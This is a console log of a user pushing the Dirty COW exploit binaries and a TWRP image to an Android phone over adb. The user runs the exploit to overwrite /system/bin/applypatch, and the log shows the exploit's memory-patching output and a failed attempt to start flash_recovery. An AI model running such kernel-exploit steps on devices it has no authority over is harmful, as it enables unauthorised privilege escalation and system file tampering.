D:\Files\Tools\android-sdk-windows\platform-tools>adb push twrp.img /sdcard/recovery.img
[100%] /sdcard/recovery.img

D:\Files\Tools\android-sdk-windows\platform-tools>adb push dirtycow /data/local/tmp
[100%] /data/local/tmp/dirtycow

D:\Files\Tools\android-sdk-windows\platform-tools>adb push cow-exec /data/local/tmp
[100%] /data/local/tmp/cow-exec

D:\Files\Tools\android-sdk-windows\platform-tools>adb shell
elsa:/ $ chmod 0777 /data/local/tmp/dirtycow
elsa:/ $ /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/cow-exec
warning: new file size (13884) and file old size (165144) differ

size 165144


[*] mmap 0x7802f97000
[*] exploit (patch)
[*] currently 0x7802f97000=4f44213c0a0a0a0a
[*] madvise = 0x7802f97000 165144
[*] madvise = 0 1048576
[*] /proc/self/mem 1367343104 1048576
[*] exploited 0x7802f97000=10101464c457f
elsa:/ $ start flash_recovery
start: must be root
1|elsa:/ $